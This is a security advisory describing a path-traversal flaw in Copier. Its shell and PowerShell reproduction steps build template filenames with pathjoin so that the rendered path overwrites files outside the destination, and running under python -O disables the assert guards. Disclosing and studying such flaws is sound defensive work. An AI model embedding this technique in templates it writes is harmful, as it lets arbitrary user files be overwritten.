Copier's safe template has filesystem write access outside destination path

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  bash

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt

• Windows (PowerShell):

  powershell

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @'
  drive:
    type: str
    default: "C:"
    when: false
  '@
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.